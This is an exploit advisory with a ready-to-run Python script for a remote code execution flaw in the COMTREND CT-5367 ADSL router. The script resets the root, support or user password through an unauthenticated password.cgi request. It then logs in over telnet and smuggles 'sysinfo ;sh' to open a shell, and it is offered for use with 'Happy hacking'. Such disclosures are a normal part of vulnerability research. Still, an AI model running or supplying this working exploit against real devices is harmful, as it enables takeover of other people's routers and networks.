COMTREND ADSL Router CT-5367 suffers from a remote code execution vulnerability.
72a94392b79b5f5d3b66b09f30ba7b1d# Exploit Title: Globalnet COMTREND ADSL Router CT-5367 Remote Code Execute
# Date: 11-12-2017
# Exploit Author: TnMch
# Software Link : null
# Type : HardWare
# Risk of use : High
# Type to use : Remote
1. Description
Any user can edit all users password and execute remote code directly without have access
2. Proof of Concept
request this page before login to ADSL panel : 192.168.1.1/password.cgi/password.cgi
<form>
<table border="0" cellpadding="0" cellspacing="0">
<tr>
<td width="120">Username:</td>
<td><select name='userName' size="1">
<option value="0">
<option value="1">root <!-- admin -->
<option value="2">support <!-- support -->
<option value="3">user <!-- user -->
</select></td>
</tr>
<tr>
<td>Old Password:</td>
<td><input name='pwdOld' type="password" size="20" maxlength="16"></td>
</tr>
<tr>
<td>New Password:</td>
<td><input name='pwdNew' type="password" size="20" maxlength="16"></td>
</tr>
<tr>
<td>Confirm Password:</td>
<td><input name='pwdCfm' type='password' size="20" maxlength="16"></td>
</tr>
</table>
<br>
<center><input type='button' onClick='btnApply()' value='Save/Apply'></center>
</form>
3 .exploit
#!/usr/bin/env python
import platform
import requests
import base64
url = "http://192.168.1.1/"
''' first check default gateway '''
r = requests.get(url,allow_redirects=True)
resp = r.content
'''Check resp'''
if 'Authorization' not in resp:
exit("[-]Invalid host !! ")
''' Change password '''
again = True
while again:
print "Which User"
print "(root | support | user )"
user = raw_input('user : ').split()[0]
if user not in ("root","support","user"):
exit("[-] No user with this name !! ")
print "[+] Update password ",user
password = raw_input('new password : ').split()[0]
print "[+] Update new password ['",password,"']"
if user == "root":
url +="password.cgi?sysPassword="+password
if user == "support":
url +="password.cgi?sptPassword="+password
if user == "user":
url +="password.cgi?usrPassword="+password
pass_b64 = password.encode('base64').split()[0]
r2 = requests.get(url,allow_redirects=True)
resp2 = r2.content
''' Check update '''
if pass_b64 in resp2:
print "[+] Password for user : ",user," updated!"
print "Happy hacking :D, enjoy"
else:
print "[-] Something Wrong , please check again! "
y_n = raw_input('Do you want again? :D (y/n) : ').split()[0]
if 'n'!= y_n and 'y' != y_n:
exit('bad input :(')
if y_n == 'n':
print "Go Go Go :D ,No Time for you Mr.Robot"
shell_yn= raw_input("Do you want shell? (y/n) :D : ").split()[0]
if shell_yn !='n':
sys = platform.system()
if sys =="Windows":
exit("Sorry only on Linux or Mac Os")
from pwn import *
target = "192.168.1.1"
port = 23
p = remote(target,port)
p.recvuntil("Login:")
p.sendline(user)
p.recvuntil("Password:")
p.sendline(password)
p.sendline("sysinfo ;sh")
p.interactive()
again = False